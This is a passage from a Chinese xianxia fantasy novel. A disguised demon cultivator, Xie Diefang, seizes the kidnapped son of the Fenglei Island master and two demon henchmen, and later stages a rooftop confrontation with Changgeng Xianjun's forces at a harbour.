“且说一千年前风雷岛岛主仙逝,风雷岛局势大变,长庚仙君请命前往飞月州,一改过去颓败景象,才有今时繁荣盛景,三界唯一容纳仙魔人汇聚之地!” 此时古宝说斋里,说书先生不厌其烦讲述飞月州开创史,旁的轻描淡写揭过,只为关于长庚仙君在飞月州的种种添浓墨重彩的一笔,初涉此地的听客有心驻步,津津有味,老听客则听得耳朵都快长茧。 说书先生正说得起劲。 抚尺啪的一声,桌上摆的茶碗滴水未溅,倒是两个魔修互使了眼色,举止轻佻,吵吵嚷嚷要说书先生换个故事,如过街流氓,惹来众人不悦。 绝大部分听客都是凡人,无一人敢去招惹魔修,只能任由他们去。 “天天长庚仙君长长庚仙君短,这长庚仙君如何将飞月州更改成如今景象人尽皆知,既然非要说长庚仙君,那说点别的,就比如……”先出声的魔修轻佻地示意同伴。 另一个魔修会意,反应颇为夸张,“对——就不如说说长庚仙君来飞月州之前,是如何被那反叛的扶光仙子骗得团团转,说书人见多识广,风雷岛修士知道的事,说书人肯定知道得更多。” 说书先生一介凡人,奈何不了这些嚣张的魔修,顿时哑口无言,气得面色铁青。 魔修故意惹事,后面也不藏着掖着,随即哄堂大笑。 “这不算说书,算八卦吧?传了一千年的八卦。” “哈哈哈哈哈哈什么风光霁月的仙君,也不过如此,我看呐,是他道心不稳,怪不得扶光仙子,他来飞月州指不定是犯下滔天罪行,同门所不容,发配到鸟不拉屎的地……” 话还没说话,两颗突如其来的石子砸中了两魔修的脑袋。 两人气急败坏,霍然起身环顾四周,“谁?谁?” 看着两个魔修摸不着头脑的样子,躲在暗处的少年捂嘴偷笑,揣着石子又砸去。 亮光一闪。 又是一枚石子! 魔修倏地回头,狡猾一笑,手心接住那枚石子,捏了个粉碎。 少年一惊,知道失手慌忙要跑路,两个魔修眼疾手快揭了少年躲藏的桌布,大掌一伸,逮住少年的脚,跟拎鸡仔一样拎起。 少年扑腾着,“放开我!放开我!放开!” 两个魔修定眼一瞧,嬉笑道:“哪里来的小毛孩,毛都没长齐,敢偷袭你爷爷!” 少年奋力抬头,凶巴巴的,“砸的就是你,还不把我放了,知道我是谁吗?说出来吓死你!” 两魔修不由对视一笑,故作害怕,嬉笑道:“哟哟哟我好怕呀,不知您何方神圣,见义勇为,难不成是长庚仙君的儿子?” 少年语塞,眼珠一转,恐吓道:“我乃风雷岛岛主严观苍之子,你们要是敢动我一根汗毛,我父亲铁定把东璩洲魔域端了,把你们一伙魔修统统收拾掉!” 一听风雷岛岛主严观苍的名头,两个魔修面面相觑,默了片刻,俱笑出了声。 一个憋不住笑,“阿三,就这乳臭未干的臭小子,是严观苍那块老辣姜的亲儿子吗?” “假的吧,冒牌货,谁不知道严观苍和长庚仙君不合,严观苍儿子胳膊往外拐,会替老子的对手打抱不平?笑话!” 拎着少年的魔修阿二用力抖了抖他,“臭小子,你叫啥名?” 少年被吊着,摇得头昏脑涨,依然犟得瞪眼,“我姓严,名岳!和严观苍同姓,知道怕了么,还不快放开我!” 阿二赶忙瞧了周围,所有人都往他们这儿看,知道事情闹大不好收场,在阿三耳边悄声说:“阿大知道严观苍儿子叫啥名,抓回去问问,要是不是,这小子虚张声势,看着也是修仙之人,把他炖了给大伙补补。” “好办法,好办法。” 两个魔修在众目睽睽之下,拎着百般挣扎的严岳,光明正大离开古宝说斋。 古宝说斋掌柜似乎司空见惯,无奈摇头,派一名小二知会长庚洞府,闹了这出,给人看了笑话,又特地吩咐给听客们送上免费的茶水瓜果,嘱咐说书先生换个故事,暂时不要再提长庚仙君。 一名新来的小二添着茶果,见魔修们为非作歹,不由愠色,对另外一个小二埋怨道:“这帮魔修真是越来越过分,长庚仙君不管管吗?” 结果对方摇了摇头,“他们伤人,还是杀人了啦?” 新来的小二道:“这……倒是没有。” “那不就没事了,没越界,而且掌柜知会长庚洞府,我们瞎操什么心。” “长庚仙君固然默许魔修出入飞月州,可这帮难驯的魔修听从魔主,那少年来头挺大,又是风雷岛岛主之子,万一真出了事,我们也得遭殃。” “你就放一百个心吧,这不是第一回了,这小祖宗三天两头偷跑来飞月州,估计这次又是偷跑出来的,前几个月他被长庚仙君亲自逮到送回风雷岛,如今不也还是生龙活虎,魔修知道他姓严了,哪里敢动真格,这小子平日无法无天,长庚仙君也为他操碎了心,刚好让这两魔修吓唬吓唬他,长长记性。” 见他犹疑,干脆将手里的茶水递过去,示意斜对角还有一位听客的茶未添,催促着去为那位听客添茶。 “客官,这是掌柜请在场听客的茶,您慢用。” 听客是位女魔修,周围听客皆被逗笑了,唯独她面上没有任何情绪,秀眉平舒。 她搁下几枚灵石在桌上,灵石灵气充沛,绝非凡品。 小二以为女魔修会错了意,连忙解释道:“客官,这是送的,不用付钱,而且您也给得太多。” 之前茶水未动,瓜果亦然,小二方要告知之前的也免单,女魔修已然离座,眼见她朝门外走去的身影。 “真是个怪人……” 飞月州的夜晚不似南疆魔宫一眼望不到尽头,夜幕一轮弯月指引,谢叠芳很快找到那两名魔修。 他们将严岳绑了,一个八脉境初期的修士连手上麻绳都挣脱不开,任由他们半拉半推搡着走。 谢叠芳走在巷子里,亦步亦趋,眉头微蹙。 她更改容貌,银簪高束墨发,穿着墨紫滚绣镶边的疾装劲服,紧袖上绑一把匕首。 谢叠芳用惯金乌弓,没有趁手的兵刃,离宫前随意从兵器库里挑了一件,把自己装得像南疆魔君派来办事的小啰啰。 严岳是意外收获,谢叠芳本冲着那两名魔修来的,只为见到魔主江满,跟着他们进入古宝说斋,听到这个少年自称严观苍之子。 起初她还不信,这个不知天高地厚的小子身上压根没有半分像严观苍,直到听见小二之间的谈话,长庚仙君又他做到如此地步,确是严观苍之子无疑。 踏入飞月州,令她惊讶的不止这一件。 谢叠芳多年未涉足东璩洲,大部分消息都是道听途说和下属打听来的,飞月州近百年最为冒尖,下属屡次提及。 展言岚创造第一个仙魔共存之地,远远超出谢叠芳的意料。 仙盟视魔修、魔物为洪水猛兽,而展言岚却另辟蹊径,让双方握手言欢,究竟打什么算盘。 谢叠芳也不得不佩服展言岚的手段,凌驾于仙魔之上,野心也不亚于她,某种意义上捷足先登,夺她势在必得之物,可他就没想过两头吃,保不齐引火自焚。 荒凉如飞月,谢叠芳从未涉足一次,直到身临其境,确认展言岚如传言一般,一心投入飞月州不假,心无旁骛。 好到谢叠芳认为展言岚脱离苦海,将过去忘了个干净,回归云端,做回不负众望的长庚仙君。 可天底下哪有那么容易的事,风雷岛的种种谢叠芳没忘,千年时间也不曾冲淡,伤痕犹在。 远处海浪拍打声不止,严岳的吵闹声在静悄的小巷里格外清楚,两名魔修被吵得不耐烦,堵住他的嘴,只剩呜呜的挣扎,又嫌这小子不安分,魔修阿三干脆扛着他。 飞月州的日子比以前风餐露宿好,至少吃饱穿暖,但两兄弟抱怨着魔主再不做点什么,他们魔修只能永远被压着,一辈子寄人篱下。 谢叠芳与他们相差不远,隔着三间屋舍,眼见严岳反过身,面朝向她,谢叠芳及时停住脚步,停在上一个拐弯的巷口,可还是被严岳这个眼尖的小子捕捉到。 他被扛在肩上忽然停止挣扎,见到有人路过,仿佛抓住最后一根稻草,剧烈挣扎,阿三抓不住他双腿,一个没抓稳,两人摔倒再地上。 阿三一屁股跌坐在地,“臭小子,你又搞什么鬼?” 严岳充当虫子蠕动摆正,眼神若有所指,不知示意什么,阿二拿下他嘴里的布前,特地叮嘱:“不准再吵你爷爷耳朵。” 严岳嘴里得空,刚透过气来要耍赖朝那人喊救命,抬头看见对面两个魔修后面猝然出现一个人影,悄无声息地逼近。 “你们后面……” 他话还没说完,两名魔修毫无征兆倒下,眼睛虚虚地合上。 “嘘 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“有何不同?”闻丑勃然大怒,“带走?说得好听,就是平素长庚仙君对魔修百般纵容才发生今天这种事情,严少主被魔修抓走,仙君居然迟迟不露面,我要见仙君,让他亲自说道说道。” 说着,闻丑便起身直奔长庚仙君所在的夜明阁,仙童早已告知仙君今有不便,明知拦不住,依旧挡在前头,百般阻拦。 “仙使暂留罢,我们已将此事告知仙君,仙君已去古宝说斋,望仙使安心等候消息。” “去古宝说斋做什么,现在最要紧的就是赶紧找到严少主。” “仙使稍安勿躁。” 闻丑厌其烦,“我跟你们这群迂腐又死板的童子说不明白,我要与仙君说道。” “仙使要与我说道什么?” 一道清润的声音遥遥传去,蓝衣尤清,飘尘不染,旁侧随行一只红冠白鹤,闻丑见之,顿时收敛气焰,俯首揖拜道:“见过长庚仙君,方才多有得罪,关心则乱全为少主安危,望仙君海涵。” “无妨。” 蓝衣仙君不疾不徐走来,孤冷料峭的身影与温和面容大不相同,他声调平和,并未听出情绪起伏,沉静而坚定,“方才我已去古宝说斋查清,确是两名魔修带走严岳,而归原墟的魔修对此并不知情,不过有两名魔修从昨夜就未归,一个叫阿二,一个叫阿三,身形相貌与古宝说斋的魔修相符,如今魔修们亦在寻他们俩的下落。” 东璩洲魔修大都聚集飞月州归原墟,长庚洞府能接纳他们百年,有一部分缘由是他们守规矩,不僭越,异于其他仙洲的魔修。 魔修和严岳皆失去下落,不单单是表面上那么简单,恐怕另有蹊跷。 闻丑动容,“事不宜迟,我们马上动身,速速把严少主找回最为稳妥。” “仙使莫急,”仙君言语拦住,他秀目微抬,唇边溢出一丝温笑,尾语却有微不可察的冷,“我已派人去寻严岳下落,只要抓走严岳的魔修身处飞月州便能寻到,幕后之人也逃不掉。” 严岳醒了。 他手腕火辣辣的痛,脑袋一片混乱,下意识挣扎,才发现出不了声,嘴被塞得严实,被紧紧绑在椅子上,身处的地方黑黝黝的,密不透风,闷得他透不过气。 这什么鬼地方……那两名魔修呢? 严岳心怦怦跳,彻底清醒,想起昏迷前发生的事,一阵后怕,那女子把魔修迷晕了,顺便绑了他。 不过,那女子好像不在,严岳没听到除了他之外的其他动静。 心念一动,他弄出点动静,为了摸清周围环境,捆在一起的双脚往前一踢。 前面好像有什么东西,严岳用力一踹,对面的东西翻倒了。 听动静,好像是个人,起不来,不知在支吾什么。 是那两个魔修,他们也在这儿? 这时,左上方毫无征兆投来一道耀眼的日光,严岳被亮得眼睛睁不开,隐约看见那女子站在窗口,逆着光看不清面容,身量高挑。 她从一开始便安静地和他们一样待在黑暗中,等人醒来,而后点亮烛盏,平静地放到两名魔修所在的暗处。 烛火一荡,严岳瞥见昏黄烛光映出她无可挑剔的细眉秀眸。 这平静的女疯子似乎察觉他打量的目光,不动声色,刀一样锐利地瞟来,被那双亮丽的秀眸盯住,严岳一阵心慌,眼神躲闪。 可对方似乎没搭理他的意思,余光瞥见她走到还没醒来的魔修身侧,淡淡开口:“再不醒,就不用醒了。” 14. 第 14 章 谢叠芳袖上匕首未出鞘,抵在阿二脖颈后,阿二起了一身鸡皮疙瘩,慌忙睁开眼,表示自己醒着,求饶命。 “起来。” 她话甫一落,躺在地上的阿三抖机灵地一摆,身下椅子瞬间立起,给严岳看得一愣一愣的。 原来从头到尾就他一个人认真逃命,再瞅瞅绑魔修的绳子,稍微挣扎,绳上符文隐隐发亮,绝非普通仙器,再看看绑他的,分明是渔民打鱼用的麻绳,这女疯子根本不把他当回事! 谢叠芳走到中间,“都醒了,还剩一点时间,不如玩个游戏好了。” 什么游戏? 严岳心里硌得慌,这女疯子又要干什么? 他挣扎,呜咽着表示有话说,果然吸引谢叠芳注意,“你有遗言要说?” 严岳点头,发现她话里不对,又慌忙摇头。 谢叠芳拿掉他嘴里的布,严岳透了一口气,润了润嗓子解释:“我跟你无冤无仇,也跟他们不是一伙的,要算账找他们。” 谢叠芳笑了笑,“若我也是冲你来的呢?” 严岳觉得这个女疯子无厘头,莫名其妙,用着格外诧异的口吻,质问:“我又不认识你,冲我来?看上我啦?知道我是谁么,敢这么对我!” 他抬了抬下巴,指谢叠芳绑他。 狐假虎威又自大,不知天高地厚的蠢模样,谢叠芳见识穆禾云闹过这一出,严岳这副臭德行跟封单月宠出来的如出一辙,保不齐他娘就是封单月。 他又继续扯别的,“家父……” “家父严观苍。” 谢叠芳淡淡打断,接话。 “对!家父严观苍,既然知道,趁早把我放了,不然到时候要你好看。”严观苍见女疯子知根知底,于是故作咬牙切齿,要将她生吞活剥的凶狠样子。 “以及,算你半个师父的长庚仙君。”谢叠芳没接他话,自顾自地说下去。 严岳不由怔住,眨眨眼,狐疑道:“……你、你怎么知道?” “我猜得没错的话,你娘叫封单月,应该是风雷岛岛主夫人,哦,对了,你还有一个待你不差的师姑穆禾云。” 严岳彻底呆住,“你怎么知道这么多,你是何人?” 平日,严岳作天作地只拿他爹说事,其余的只字未提,他不由警惕几分。 “故人之子,不该认得?” 薄而显得冷的唇角豁然微抬,谢叠芳这一笑,神秘莫测。 “原来你是我爹娘的故人,都那么熟了,快快给我松绑。”严岳随即眼眸一亮,没有看出半点不对,见谢叠芳不动,又催促:“快呀,手疼死我了。” 他没心没肺,放松警惕,只想他以为的,不像他爹跟莲藕一样长那么多心眼。 谁知下一刻,谢叠芳收敛笑意,忽然当着严岳的面拔出袖上匕首,锋刃映出他忘乎所以,渐渐惊恐的表情。 她逼近,语气冷到极点,“你爹你娘难道没告诉你,他们结仇结怨,有不少有仇的故人,你在外要低调,老实吗?” 匕首随她抬眸时霍然刺出,紫光一闪,削断严岳一撮墨黑长发,严岳不经吓,呼叫未出,倒是脑袋歪一边,吓昏过去。 阿二阿三目睹这一幕,不约而同笑眯了眼,臭小子自有人收拾,用不着他们,就是不知这位绑他们来的女魔修不伤他们,反而绑他们绑得比这小子松究竟出于何种目的。 谢叠芳收回匕首入鞘,转身拿下魔修嘴里的布,亮灼灼的双眸看向两人,有种棋逢对手握手言和的意味。 阿二小心翼翼试问:“不知姑娘打哪个仙洲来,有何贵干?” 谢叠芳开门见山,“你们魔主呢?我要见他。” 她方才举止种种体现此人是友非敌,阿二坦白说:“姑娘有所不知,我们也三年多没见过魔主,你问我们魔主下落,我们也不知。” “没见过?归原墟如今由谁管,群龙无首,寄人篱下,难不成真当自己是半个修仙者,认定长庚仙君度化众生,一视同仁。” 此话一出,阿二,阿三皆变了脸色,受够了这种日子,有苦说不出,长庚仙君包容他们不假,可毕竟仙魔殊途,约束魔修,他们与被铁链栓住的野狗何异? 谢叠芳瞧见两人反应,“我是为魔主而来,如今魔主不在,你们不甘于此,希望落空,不如我顺便帮帮你们?” 阿三抬头,“怎么帮?” 阿二倒清楚得很,方才听谢叠芳与严岳的对话,她对风雷岛了如指掌,“还能怎么帮,长庚仙君镇守飞月州,他又是风雷岛修士,姑娘此举欲撼动东璩洲的天,不过凭姑娘你一人,恐怕蚍蜉撼树,在此之前,长庚仙君就是要解决掉的大麻烦。” “有点眼力劲,”谢叠芳欣然一笑,“可惜不多,我不是一个人,我背后有南疆魔域。” 一听到南疆魔域,阿二眼一亮,喜不自胜,脱口而出,“你是南疆魔君派来的?” 谢叠芳一笑置之,却颇为惋惜,“南疆魔君有意收复东璩洲魔域,所以派我来寻魔主,可惜你们魔主不在,你们又做不了主,罢了,我还是先回去,下次再来看看魔主在不在……” “做得了,做得了。”一听到能脱离这寄人篱下的日子,两魔修无比雀跃,他们没有魔主准许离开,留在飞月州收敛天性,全无自由,现今南疆魔君有意收复东璩洲魔域,他们求之不得。 “但你们魔主……”谢叠芳见二人上钩,故作犹疑。 “这还不容易,”阿三示意对面吓昏的严岳,奋勇献计,“事先拿这小子在长庚洞府修士面前耍耍威风,咱们借势把事闹大,待归原墟和风雷岛自个斗去,魔主不轻易出面,知道我们有难定会现身,姑娘就能如愿见到魔主。” “你是不是傻呀!”阿二见阿三嘚瑟,痛骂道:“长庚仙君又不是蠢货,估计现在已经知道不是归原墟魔修干的,而且魔修都不知道我们的计划,万一里边出了墙头草,魔主又不现身,计划落空,到时候百口莫辩,你跟我喝西北风去啊?” 阿三被骂得狗血淋头,一脸唾沫星子,“那、那咋办?阿大应该会帮我们的……” 他说话越来越没底气,阿二一不做二不休,“干脆把南疆魔君要收复东璩洲魔域的消息传出去,但凡听过南疆魔君威名的魔修,必定争先恐后投靠,到时候我们人多,且不说风雷岛,与长庚洞府对上,那也是无后顾之忧,再退一步,事不成,我们还有南疆魔君,大不了随姑娘去南疆魔域混口饭吃。” 谢叠芳听后,刮目相看,“胆子挺大,懂打南疆魔君的名头收拢人心。” “魔主不给力,我们这些小的混口饭吃,也要擦亮眼睛另寻明主,姑娘你看这魔主掘地三尺也难找,不如就算了?” “魔主必须找到,你们俩出的法子皆有可取之处。”谢叠芳解了两人身上仙索,吩咐下去,“把南疆魔君收复东璩洲魔域和这小子被抓的消息散播出去,对方若要人,今夜子时来碧海港湾,届时做好十全准备,我们面对统共有三批人。 “风雷岛和长庚洞府,以及你们归原墟不愿臣服南疆魔域的魔主旧部。” 两魔修办事相当快,不出半天闹得飞月州沸沸扬扬,幸亏谢叠芳布下的结界隐蔽,长庚洞府的仙童们一时半会找不到严岳下落。 长庚洞府内,闻丑听到这个消息,大惊失色,怒气冲天,发指道:“这帮喂不熟的白眼狼简直无法无天,飞月州容纳他们,不感恩戴德也就罢了,居然与南疆魔君沆瀣一气……” 说罢,他偷偷瞄座上一言不发的展言岚,拢好卷 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湛然眸光掠动,点漆的双目下移,仙君只问:“找到那名女魔修的下落了吗?” 桐寺无奈摇头,“出面的只有魔修阿二阿三,并没有找到那名女魔修本人,不过……” 斟酌词句后,桐寺兀自道:“听说她是南疆魔君派来提前打探飞月州,魔君本人并未亲临。” 仙君思忖须臾,最后道:“我知道了。” 夜碧海港湾,浪涛连天,一望无际,海风腥湿。 这是极好的夜晚,奈何大事一触即发。 长庚洞府的仙童白日里将居住在这里的凡人另寻安定所,风雷岛修士埋伏方圆五里,临近子时,迟迟不见阿二阿三来,闻丑不免着急。 漆黑的夜幕上飘来乌云,遮蔽了明月,整片海湾霎时暗下来,此时起了一阵狂大的海风,吹得衣摆猎猎作响。 乌云飞得也快,十息时间便飘远。 月色重落海湾,撒下明媚皎洁。 这时,有人呼喊。 “你们看,上面有人!” 屋舍之上,月光投下四道人影,一坐两站,他们背对明月,还有一个人似跪似站,勉强立于屋顶,被绑着堵住嘴,奋力挣扎,此人正是严岳。 “严少主!!” 闻丑急呼,风雷岛修士不由跟随他奔去,长庚洞府的人也紧接着跟上。 长庚仙君口中的幕后之人,果真是那名女魔修。 为首的女魔修坐在前面,墨紫疾装劲服干净利落,高高束起的墨发纷飞,好生逍遥,她嘴角噙着一抹不怀好意的笑。 见底下人数众多仍临危不乱,左手撑着下巴,睥睨天下般俯瞰众人,威风凛凛。 “飞月州派出这么多人,太看得起我等,这下,该如何是好?” 谢叠芳声音豁亮,传达到每一个人耳边。 她故作苦恼微笑,右手抬起,手指纤纤,姿态万千,施展某种术法般,挨个掠过在场每一个人。 包括,那位伫立众修士身前纤尘不染的长庚仙君。 他墨发翩翩,清雅如风,好似天上谪仙,下了凡尘,未看她一眼,长身玉立,临危不乱。 多瞧了几眼,谢叠芳最终落在最左边的归原墟魔修,放下手,直起身,场面话不必说,也不掩饰野心。 当着苦心积虑筹谋的长庚仙君的面前,挑拨离间。 “归原墟的魔修既然来了,要不要考虑另寻明主,归顺南疆魔君,日后打上风雷岛分一杯羹?” 谢叠芳话一落,展言岚果然抬眸,笔直看向了她。 此时,她唇边带着一抹坏笑,狂妄至极。